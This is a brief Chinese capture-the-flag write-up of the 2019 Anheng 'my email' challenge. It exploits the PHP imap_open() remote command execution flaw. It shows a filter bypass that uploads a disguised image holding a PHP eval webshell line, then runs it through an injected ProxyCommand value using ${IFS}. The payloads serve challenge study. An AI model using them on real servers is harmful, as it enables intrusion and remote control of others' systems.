安恒2月赛my email的imap_open() RCE
0x00 前言
2019安恒2月月赛的my email题目,自己做的时候没有思路,看了wp才了解是imap_open() RCE漏洞
0x01 imap_open()
imap_open()
是php来处理邮件的函数
题目利用的imap_open()
漏洞,第一个参数可以执行系统命令
https://github.com/Bo0oM/PHP_imap_open_exploit
exploit.php
1 | <?php |
0x02 题目测试
在注册登录之后进行填写信息
发现有个server参数
填写之前的payload发现参数不允许,测试发现是过滤了base64
,\
,|
,并且也没有回显,好像就不能任意执行命令了
0x03 上传功能写shell
点击更换背景,是一个上传页面,只能传图片文件,并且会更换为背景
1 | <style type="text/css"> |
在页面源码中发现背景图片的路径,也就是上传的图片的路径
结合rce漏洞,可以直接使用bash filename
来执行命令
上传图片,内容为
1 | echo "<?php eval($_REQUEST['daolgts']);"> shell.php |
然后执行命令生成webshell
1 | x -o ProxyCommand=bash{$IFS}daolgts.jpg} |
菜刀连接/user/shell.php
,flag在flag.php
里